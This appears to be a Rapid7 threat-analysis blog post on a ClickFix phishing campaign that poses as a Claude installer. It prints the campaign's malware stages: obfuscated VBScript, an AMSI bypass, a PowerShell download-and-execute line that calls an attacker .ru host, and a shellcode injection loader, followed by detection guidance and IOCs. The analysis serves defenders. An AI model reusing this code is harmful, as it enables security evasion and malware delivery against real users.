

ClickFix-style Phishing Campaign Uses Fake Claude Installer

 rapid7.com/blog/post/ve-clickfix-phishing-campaign-fake-claude-installer

Rapid7

April 15, 2026



Overview

It is no secret that phishing campaigns utilizing various ClickFix techniques have been a commonly used method of [social engineering](#). One of the main reasons for this is simply because they work. You know this and Rapid7 does as well. As a company offering managed detection and response (MDR), our customers expect us to be knowledgeable about and able to detect attacks as common as ClickFix campaigns.

Recently, Rapid7 observed a small grouping of ClickFix events across customers in the EU and US. At the time of discovery, this campaign had very little traction on sites like VirusTotal or within the online security landscape. This campaign was particularly interesting as it appeared to be

masquerading as an installer for Claude, an AI tool that has received a considerable amount of attention.

Using Rapid7 InsightIDR detection rules, our SOC analysts were able to detect and respond to the threat, preventing further compromise. This campaign demonstrates the strength Rapid7 customers get from our MDR service, while peeling back the curtain to provide a real-world example on how we operate behind the scenes. In this blog, we will detail a brief technical analysis of the observed threat actor activities and discuss how this serves as an example of the service we aim to provide our MDR customers. The analysis highlights both the multi-step delivery of the payload as well as the work Rapid7 performs when investigating threats.

Observed attacker behavior

On April 9, Rapid7 was alerted to mshta executed on a customer asset using the Windows run utility. The alert was generated by the detection rule **Attacker Technique - Remote Payload Execution via Run Utility (shell32.dll)**. This rule will generate an alert when a suspicious process, such as mshta, is added to the RunMRU registry key. This key is important for the detection of ClickFix campaigns, as it tracks the last 26 commands executed by the Windows run utility. One thing that stuck out about this particular mshta command is that the URL, **download-version[.]1-5-8[.]com/claude.msixbundle**, appeared to be impersonating an MSIX bundle for the popular AI tool, Claude.

MSIX files are Windows app packages that one would typically see from the Microsoft store, definitely not something you would see being passed as an argument to mshta. While the host was quickly taken down before Rapid7 was able to obtain the claude.msixbundle payload, a copy was obtainable on VirusTotal. Looking at the payload, it does initially appear to be an MSIX bundle. The file header signature, PK, indicates that the file is a ZIP archive and contains a string reference to the MSIX bundle, **MicrosoftBing_1.1.37.0_ARM64.msix**:

□

50 4B 03 04 2D 00 08 00 00 00 4B 66 54 5A 00 00	PK.--.....KfTZ..
00 00 00 00 00 00 00 00 00 00 00 00 00 4D 69	!...Mi
63 72 6F 73 6F 66 74 42 69 66 66 66 66 66 66	crosoftBing_1.1.
33 37 2E 30 5F 41 52 4D 36 34 2E 6D 73 69 78 50	37.0_ARM64.msixP
4B 03 04 2D 00 08 00 00 00 26 A6 54 5A 00 00 00	K.--.....&!TZ...
00 00 00 00 00 00 00 00 00 24 00 00 00 41 73 73	\$...Ass
65 74 73 2F 53 71 75 61 72 65 34 34 78 34 34 4C	ets/Square44x44L
6F 67 6F 2E 73 63 61 6C 65 2D 32 30 30 2E 70 6E	ogo.scale=200.pn
67 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44	g%PNG.....IHD
52 00 00 00 58 00 00 00 58 08 06 00 00 00 71 95	R...X...X.....q*
30 34 00 00 00 01 73 52 47 42 00 AE CE 1C E9 00	04....sRGB.®î.é.
00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05 00	...gAMA...±...üa..
00 00 09 70 48 59 73 00 00 0B 11 00 00 0B 11 01	...pHYs.....
7F 64 5F 91 00 00 1B EA 49 44 41 54 78 5E E5 5D	.d '\...êIDATx^â]
59 90 5C D5 79 3E CB BD B7 BB 67 46 1A ED 0B 9B	Y.\Öy>Ë»»gF.í.>
90 90 04 41 06 21 0B 01 16 10 21 30 20 61 31 04	...A.!...!0 al.
02 76 79 C1 E0 38 B6 1F 52 79 48 55 52 79 F0 83	.vyÁà8q.RyHURyôf
CD 43 5E 52 95 07 97 AB 5C A9 F8 C5 AE 4A 95 0D	ÍC^R*.-«\@zÅ@J*.
2E 27 01 57 04 8E 4D B0 30 18 83 59 02 48 80 04	.'.W.ŽM°0.fY.Hē.
18 B4 20 21 8D 46 DB 2C DD 7D FB 9E 73 F2 7D E7	.' !.FÛ,Ý}ûžsò}ç
DC DB D3 1A 49 20 CD 6D 16 0F 7F EB 9F 7B CF 72	ÜÜÓ.I ím...ëÿ{îr
B7 EF 7C E7 3B FF 39 7D 67 24 45 19 73 4E AE 7C	·ì ç;ÿ9}g\$E.sN@

MSIX Bundle

□

Exploring the payload deeper, however, reveals an HTML Application (HTA) embedded within the ZIP archive:

0A 3C 21 44 4F 43 54 59 50 45 20 68 74 6D 6C 3E	DOCTYPE html>
0D 0A 3C 68 74 6D 6C 3E 0D 0A 3C 68 65 61 64 3E	..<html>..<head>
0D 0A 3C 48 54 41 3A 41 50 50 4C 49 43 41 54 49	..<HTA:APPLICATI
4F 4E 20 69 63 6F 6E 3D 22 23	ON icon="#" WIND
4F 57 53 54 41 54 45 3D 22 6E	OWSTATE="normal"
20 53 48 4F 57 49 4E 54 41 53 4B 42 41 52 3D 22	SHOWINTASKBAR="
6E 6F 22 20 53 59 53 4D 45 4E 55 3D 22 6E 6F 22	no" SYSMENU="no"
20 20 43 41 50 54 49 4F 4E 3D 22 6E 6F 22 20 42	CAPTION="no" B
4F 52 44 45 52 3D 22 6E 6F 6E 65 22 20 53 43 52	ORDER="none" SCR
4F 4C 4C 3D 22 6E 6F 22 20 2F 3E 0D 0A 3C 73 63	OLL="no" />..<sc
72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F	ript type="text/
76 62 73 63 72 69 70 74 22 3E 0D 0A 0D 0A 0D 0A	vbscript">.....
0D 0A 46 75 6E 63 74 69 6F 6E 20 52 69 67 68 74	..Function Right
41 6D 64 46 74 70 28 49 6E 64 65 78 47 69 67 61	AmdFtp(IndexGiga
62 79 74 65 57 69 6E 64 65 78 47 69 67 61	byteWindows) ..
20 20 20 20 44 69 6E 64 65 78 47 69 67 61	Dim DefineBr
6F 77 73 65 72 41 70 69 20 2C 20 43 6F 6D 6D 6F	owserApi , Commo
6E 54 61 62 6C 65 74 45 6C 65 63 74 72 69 63 69	nTabletElectrici
74 79 20 0D 0A 20 20 20 20 44 65 66 69 6E 65 42	ty .. DefineB
72 6F 77 73 65 72 41 70 69 20 3D 20 4C 65 6E 28	rowserApi = Len(
49 6E 64 65 78 47 69 67 61 62 79 74 65 57 69 6E	IndexGigabyteWin
64 6F 77 73 29 0D 0A 20 20 20 20 43 6F 6D 6D 6F	dows).. Commo
6E 54 61 62 6C 65 74 45 6C 65 63 74 72 69 63 69	nTabletElectrici

HTA Header

Embedded VBScript

□

The Visual Basic script within the HTA file contains a series of obfuscated strings that are deobfuscated with the following VBS function:

```

Function DisplayEmailGnu(ByVal ThisMalwareLinux )

    Dim Cptluhazz
    Dim TheBytePirate, interValue
    Dim theStepas
    theStepas = Len(ThisMalwareLinux) * 2
    Dim LeftServerLinux
    LeftServerLinux = "&H"
    For Cptluhazz = 1 To theStepas Step 4
        TheBytePirate = MidB(ThisMalwareLinux, Cptluhazz, 4)
        TheBytePirate = LeftServerLinux & TheBytePirate
        interValue = Chr(CInt(TheBytePirate))
        DisplayEmailGnu = DisplayEmailGnu & interValue
    Next
End Function

```

□

Additionally, one of the functions serves to generate an encoded PowerShell script that will serve as the next step in the chain:

```

Function GetBiosDebian()
    Dim BottomDatabaseGmail
    BottomDatabaseGmail = DisplayEmailGnu("5932316b494339324f6d39754943396a49434a7a5a585167654431776233636d4a6e4e6c64
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5155565a515539425158564252574e42576c46434d4546465355466
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("576c4643555546484f45466855554a315155685251565252516d684
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5155645651575242516a464253456c42596d64425a3046476330465
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("536b4643644546495455465a5a3049785155647251574a42516d744
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5155643351567042516b5a42527a5242576e6443634546484e45466
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("57564643616b46486330465a55554a755155645651565642516d684
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("51554d3051565242516d7842527a5242576e64434d4546485a30465
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5336442634546445155466c6430466e51554e5251574a33516a464
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5155644a51575252516e424252336442576b4643526b46484e45466
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("593364434d4546484f45466a5a304a7351555a7a51557042516e5a4
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("51554e42515531425154644251304642536b4643553046485655466
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5956464364554648565546506430466e51554e5251574a33516a464
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("51554e5251574e6e516d7842534531425a454643646b46495355466
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("596e64436455464655465a5555497751556446515668525157644
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("51556330515670525154644251304642536b46434d6b46495455465
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("535546434f5546456330464b515549795155644651574e6e516e424
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5155645251574652516e564252324e42574646424e6b46456230465
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("55314643645546495555466155554a355155633451574e42516c524
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5155645a51574e33516e564252453142556b4643626b46455155465
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("5a454643553046465930465651554a495155526a51567033516a464
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("51554e425156526e516d78425346464254476443574546485655465
    BottomDatabaseGmail = BottomDatabaseGmail & DisplayEmailGnu("575764424d4546444d4546505555453051555252515670525158644

    GetBiosDebian = BottomDatabaseGmail
End Function

```

Decoding PowerShell Command

□

After the deobfuscation routine is complete, these strings contain references to the required objects and function calls to craft and execute – via ShellExec – the following command:

```
c:\Windows\System32\cmd.exe" /v:on /c "set x=pow&&set y=ershell&&call  
%windir%\SysWOW64\WindowsPowerShell\v1.0\!x!!y! -E [ENCODED COMMAND]
```

□

```
Sub SetVisualstudioBrowser(MyProgrammingElectronic )  
    Dim DefinePythonGoogle  
    Dim HasJavaXml  
  
    HasJavaXml = Split(MyProgrammingElectronic, DisplayEmailGnu("20"))(0)  
    DefinePythonGoogle = RightAmdFtp(MyProgrammingElectronic)  
  
    Set SetBotnetMacintosh = GetObject(DisplayEmailGnu("6e65773a39424130353937322d463641382d313143462d41"))  
    Set IndexNumericalDocument = SetBotnetMacintosh.Item()  
    IndexNumericalDocument.Document.Application.ShellExecute HasJavaXml, DefinePythonGoogle, "", "open", 0  
End Sub
```

Executing PowerShell

□

The encoded PowerShell acts as a staging payload. The script will first generate an MD5 hash value based on the **COMPUTERNAME** and **USERNAME** environment variables. It will then take the first 16 characters of the hash value and use it to craft a URL to pull another, much larger, PowerShell script. The script also contains a string deobfuscation routine that is responsible for crafting the following strings to be passed to various .NET functions:

- Assembly
- System.Mangement.Automation.AmsiUtils
- amsiContext
- NonPublic,Static
- 0x41414141

```

$snipple=(Get-FileHash -InputStream([IO.MemoryStream]::new([Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME+$env:USERNAME))) -Algorithm MD5).Hash.Substring(0,16).ToLower()
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}
function TenantId {
    param ($local, $startPosition)
    return [Byte](($not($local -band $startPosition) -band ($not($not($local) -band ($not $startPosition))))
};
$msbuildEngine = 256

function GlobalJson { String Deobfuscation Routine
    param ($vsMinVersion, $sessions)
    $restore = New-Object Byte[] $msbuildEngine
    $noPath = New-Object Byte[] $msbuildEngine
    for ($packagePath = 0; $packagePath -lt $msbuildEngine; $packagePath++) {
        $restore[$packagePath] = $packagePath
        $noPath[$packagePath] = $sessions[$packagePath % $sessions.Length]
    }
    $outputConfigurationData = 0
    for ($packagePath = 0; $packagePath -lt $msbuildEngine; $packagePath++) {
        $outputConfigurationData = ($outputConfigurationData + $restore[$packagePath] + $noPath[$packagePath]) % $msbuildEngine
        $shaFile = $restore[$packagePath]
        $restore[$packagePath] = $restore[$outputConfigurationData]
        $restore[$outputConfigurationData] = $shaFile
    }
    $packagePath = $outputConfigurationData = 0
    for ($ResourcesPath = 0; $ResourcesPath -lt $vsMinVersion.Length; $ResourcesPath++) {
        $packagePath = ($packagePath + 1) % $msbuildEngine
        $outputConfigurationData = ($outputConfigurationData + $restore[$packagePath]) % $msbuildEngine
        $shaFile = $restore[$packagePath]
        $restore[$packagePath] = $restore[$outputConfigurationData]
        $restore[$outputConfigurationData] = $shaFile
        [int]$basePath = ($restore[$packagePath] + $restore[$outputConfigurationData]) % $msbuildEngine
        $vsMinVersion[$ResourcesPath] = TenantId $vsMinVersion[$ResourcesPath] $restore[$basePath]
    }
    $vsMinVersion
}

```

□

The script will then call the deobfuscation routine to craft a call to WriteInt32 in the .NET Marshal library to overwrite the **amsiContext** field in **System.Management.Automation.AmsiUtils** with the value **0x41414141**. Once **amsiContext** is overwritten, the script will download and execute the next stage:

```

$variableTable=[System.Text.Encoding]::UTF8.GetBytes('BWJFEesMEqRvjQbm')

function credEntry {
    [System.Text.Encoding]::UTF8.GetString((GlobalJson ([System.Convert]::FromBase64String($args[0])) $variableTable))
}

try{
    $AmsiUtils = [Ref].(credEntry "jndMLem7gvg=").GetType((credEntry "nh1MPOG0wMybgUQnpIhj4f3n3Dg0RoE17PoDppWmFD6375k5s="))
    $AmsiContext = $AmsiUtils.GetField((credEntry "rmlMIce2gPWf11E="),[Reflection.BindingFlags])(credEntry "gWtRGPG7guiZw3Y0oJFvgA=").GetValue($null)
    $JunkPointer = [int](credEntry "/3wLebDo2rD03g=")
    [Runtime.InteropServices.Marshal]::WriteInt32($AmsiContext,$JunkPointer) AMSI Bypass
}
catch{}

$possiblePaths=New-Object Net.WebClient
$filter=$possiblePaths.DownloadString("https://[HASH SUBSTRING].oakenfjrod.ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1")
IEX $filter

Downloading Second Stage Script

```

□

The URL is hosting yet another PowerShell script containing highly obfuscated strings and a large byte array. Upon execution of the script, the strings decode to contain the necessary .NET types and method calls to create and execute a PowerShell ScriptBlock. This ScriptBlock is derived from the byte array, which is first base64 decoded and then run through a deobfuscation routine:

```

$base64StringAsBytes=[Byte[]]@(69,105,103,110,90,65,119,109,78,122,111,50,79,66,107,119,75,105,112,48,99,104,73,103,74,106,89,113,79,121,11
$utf8Encoding=($kzG1K1vafpgzXwLzEBBAU -as [Type]):($y0ny6Wmg051Kch5ENS); #[System.Text.Encoding]::UTF8
$bigHexBlob=($systemConvertString -as [Type]):($fromBase64String)($utf8Encoding.($getString)($base64StringAsBytes));
$systemAutomationScriptBlock=([Type]$systemAutomationScriptBlockString);
$ISLuq0iz18=$systemAutomationScriptBlock.($getMethodString)($createString).($invokeString)($null,@($utf8Encoding.($getString)($for($RjZ8d
$ISLuq0iz18.($invokeString)()

```

Base64 Encoded ScriptBlock

ScriptBlock Invocation

□

This ScriptBlock again contains another series of obfuscated strings and a large byte array containing yet another PowerShell ScriptBlock. Following the execution of the script, the code once again creates and executes a PowerShell ScriptBlock:

```

Set-StrictMode -Version 2;
$length=(-join[char[]]@(0x6c,0x65,0x6e,103,0x74,0x68));
$byteArray=[type](-join[char[]]@(0x62,0x79,0x74,0x65,0x5b,93));#byte[]
$threadingThread=[type](-join[char[]]@(116,104,0x72,0x65,97,100,105,0x6e,0x67,0x2e,0x74,104,114,101,97,0x64));#threading.thread
$sleep=(-join[char[]]@(0x73,108,0x65,101,0x70));#sleep
$mrDXgzvXqW099=[type](-join[char[]]@(0x63,104,0x61,114,91,93));#char[]
$gzmxwGfmfd557=&{param([byte[]]$x)$x}@((0x56,0x73,0x02,0xc2,0xb5,0x00,0x04,0x96,0xd8,0xc8,0x30,0x56,0xce,0xfd,0x08,0x7e,0x20,0xe8,

$hexFortySix=(0x46);
$fiveTwelveDividedByTwo=(512/2);
$bigByteArray=&{param([byte[]]$x)$x}@((0x13,0x32,0xa0,0x97,0xc6,0x4f,0x50,0x1a,0xcc,0x09,0x52,0xec,0x63,0x3f,0xc0,0xe1,0x8c,0x45,0x7e,0x
$zruofrei104=$byteArray::new($bigByteArray.("length"))
for($tj3x8op89cuq9b=(0);$tj3x8op89cuq9b-lt$bigByteArray.($length);$tj3x8op89cuq9b++){
    $zruofrei104[$tj3x8op89cuq9b]=[byte]((($bigByteArray[$tj3x8op89cuq9b]-$hexFortySix+$fiveTwelveDividedByTwo)%$fiveTwelveDividedByTwo)
}
$lajbzmVhigrfcfvnj=$byteArray::new($zruofrei104.($length))
for($pv5ki9kpj41gln=(0);$pv5ki9kpj41gln-lt$zruofrei104.($length);$pv5ki9kpj41gln++){
    $illdwlhv380=$pv5ki9kpj41gln%$gzmxwGfmfd557.($length)
    $lajbzmVhigrfcfvnj[$pv5ki9kpj41gln]=[byte]($zruofrei104[$pv5ki9kpj41gln]-bxor$gzmxwGfmfd557[$illdwlhv380])
    $gzmxwGfmfd557[$illdwlhv380]=($gzmxwGfmfd557[$illdwlhv380]+$zruofrei104[$pv5ki9kpj41gln])-band($fiveTwelveDividedByTwo-(3-2))
}
$threadingThread::$sleep((53*2))
$a5tkitdazf=-join(&{param([char[]]$x)$x}($lajbzmVhigrfcfvnj[(0x2d)..($lajbzmVhigrfcfvnj.($length)-(0x12)-(3-2))]);$threadingThread::$sl
&([scriptblock]::create($a5tkitdazf))

```

XOR Key

Decrypting ScriptBlock

Invoking ScriptBlock

□

This ScriptBlock culminates in a process injection routine using the .NET interoperability library. The code contains a byte array with encrypted shellcode that gets passed through a XOR routine. The script then obtains handles to the following Windows API calls:

- NtAllocateVirtualMemory
- Copy
- NtProtectVirtualMemory
- NtCreateThreadEx
- NtWaitForSingleObject

- NtFreeVirtualMemory
- NtClose

After obtaining the handles, the script crafts delegate functions for the Windows API calls and invokes the delegates to perform the process injection routine:

```
$xqmnzsbxbn533=[byte[]](0x4b,0xd1,0xfc,0xd0,0xd2,0x59,0x43,0xd6,0xa3,0x4b,0x86,0x42,0x43,0x78,0xdb,0x06,0x51,0x4,0x17,0x7)
$dualkbmgg776=[byte[]]:new($xqmnzsbxbn533.length)
for($grbksinlxcxku=0;$grbksinlxcxku-lt$xqmnzsbxbn533.length;$grbksinlxcxku++){
    XOR Encrypted Shellcode
    $cgrlazzqdgjmmgjdfrw=$grbksinlxcxku%$shukjoay627.length;$dualkbmgg776[$grbksinlxcxku]=$cgrlazzqdgjmmgjdfrw
}
$XOR Decryption Loop
$b=[System.Convert]::ToBase64String($dualkbmgg776)
[threading.thread]::start('sle'+$ep')(37)
$nxax2y2gvqya=gjwjckvz573 (lpfeghfotbn416 ('n'+$td+'ll'+$d+'ll') ('{0}{1}'-f'NtAllocateVirtualMemory') (datykhx778 @($_ip,$_ip.('Mak'+$eBy+'Ref'+$Ty)
$izneklkeldhxsjeiqz=$ip::('Ze'+$ro)
$ip9cu3s3ao3-$ip::('ne'+$w')($dualkbmgg776.('Len'+$gth))
$nxax2y2gvqya.('Inv'+$oke)($ip::('ne'+$w')(-1),[ref]$izneklkeldhxsjeiqz,0,[ref]$ip9cu3s3ao3,(12288),(4))>$null
$m::('Co'+$py)($dualkbmgg776,0,$izneklkeldhxsjeiqz,$dualkbmgg776.('Len'+$gth))
$czmbsavikcm=gjwjckvz573 (lpfeghfotbn416 ('n'+$td+'ll'+$d+'ll') ('{0}{1}'-f'NtProtectVirtualMemory') (datykhx778 @($_ip,$_ip.('Mak'+$eBy+'Ref'+$Ty)
$igyandxlmtrrut=0
$czmbsavikcm.('Inv'+$oke)($ip::('ne'+$w')(-1),[ref]$izneklkeldhxsjeiqz,[ref]$ip9cu3s3ao3,(32),[ref]$igyandxlmtrrut)>$null
$rgk57yrhy1=gjwjckvz573 (lpfeghfotbn416 ('n'+$td+'ll'+$d+'ll') ('N'+$tC+'n'+$e+'a'+$t+'e'+$T+'hr'+$e+'ad'+$Ex') (datykhx778 @($_ip,$_ip.('Mak'+$eBy+'Ref'+$Ty)
$mmsuvqiylirqn503-$ip::('Ze'+$ro)
$rgk57yrhy1.('Inv'+$oke)($ip::('ne'+$w')(-1),[ref]$mmsuvqiylirqn503,(2097151),$ip::('Ze'+$ro),$ip::('ne'+$w')(-1),$izneklkeldhxsjeiqz,$ip::('Ze'+$ro),0,0,0,$ip::('Ze'+$ro)
$jer1gvoocpcq4b1=gjwjckvz573 (lpfeghfotbn416 ('n'+$td+'ll'+$d+'ll') ('N'+$t+'W'+$a+'i'+$tF+'o'+$rS+'in'+$g+'le'+$Ob+'j'+$e+'c'+$t') (datykhx778 @($_ip,$_ip.('Mak'+$eBy+'Ref'+$Ty)
$jer1gvoocpcq4b1.('Inv'+$oke)($mmsuvqiylirqn503,([bool]0),$ip::('Ze'+$ro))>$null
$gm0rv55x2yb=gjwjckvz573 (lpfeghfotbn416 ('n'+$td+'ll'+$d+'ll') (-join@('N','t','F','r','e','e','v','i','r','t','u','a','l','M','e','m','o','r','y'))>$null
$gm0rv55x2yb.('Inv'+$oke)($ip::('ne'+$w')(-1),[ref]$izneklkeldhxsjeiqz,[ref]$ip9cu3s3ao3,(32768))>$null
$wsbxgruckpoielk=gjwjckvz573 (lpfeghfotbn416 ('n'+$td+'ll'+$d+'ll') (-join@('N','t','C','l','o','s','e')) (datykhx778 @($_ip,$_ip.('u32'))
$wsbxgruckpoielk.('Inv'+$oke)($mmsuvqiylirqn503)>$null;[array]::('Cle'+$ar')($dualkbmgg776,0,$dualkbmgg776.('Len'+$gth));[array]::('Cle'+$ar')($xqmnzsbxbn533,0,$xqmnzsbxbn533.('Len'+$gth))
```

customers receive the security knowledge of our threat intelligence, detection engineering, incident response, and security operations center analysts. Input from all of these sources directly feeds into how we create detections and respond to alerts. Following is an explanation of how we use events like these to further provide and enhance our services for customers.

As previously mentioned, ClickFix activity is not new. Detection engineers in the MDR service know this and build rules to address these techniques, such as the rule that caught the activity discussed in this blog.. Detection rules are created in response to activity observed in incident response, customer requests, activity observed from the SOC, threat intelligence, and observations of the security landscape. Rapid7's detection engineers work with the SOC to monitor these rules for efficacy. Rules that are primarily used to detect initial compromise, such as the one that alerted on this campaign, are additionally monitored to identify any new campaigns.

Once the campaign is identified, our detection engineers research it to create additional rules. They can also perform retroactive threat hunts across the Rapid7 customer base using IOCs or any new behavioral detections created from researching the campaign. Results from researching campaigns like this one then go on to feed threat intelligence and help inform our detection strategy. This campaign provides a great example of how Rapid7 works on the backend to detect and prevent threats in customer environments.

Mitigation guidance

Monitor the following registry key to watch for potential ClickFix attacks such as the one observed in this case:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

While Rapid7 MDR customers were covered by the managed SOC, Rapid7 recommends the following actions for containment:

If the activity is not expected, apply containment and review the user's browsing history for the source of the command. The initial lure is often presented to the user when they attempt to browse the internet for free downloads (media, software, etc.). In some cases the malicious command may have been copied to the user's clipboard when visiting the initial webpage, and can be viewed by inspecting the source code of the site. If the infection is successful, an information stealer is often executed as the final payload, meaning that any credentials stored on the infected system should be reset as part of restoration.

MITRE ATT&CK techniques

System Binary Proxy Execution: Mshta	T1218.005
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013
Obfuscated Files or Information: Command Obfuscation	T1027.010
Command and Scripting Interpreter: PowerShell	T1059.001
Process Injection	T1055

Indicators of compromise (IOCs)

Cloude.Msixbundle:

2b99ade9224add2ce86eb836dcf70040315f6dc95e772ea98f24a30cdf4fdb97

- Oakenfjrod[.]ru
- download-version[.]1-5-8[.]com
- download[.]get-version[.]com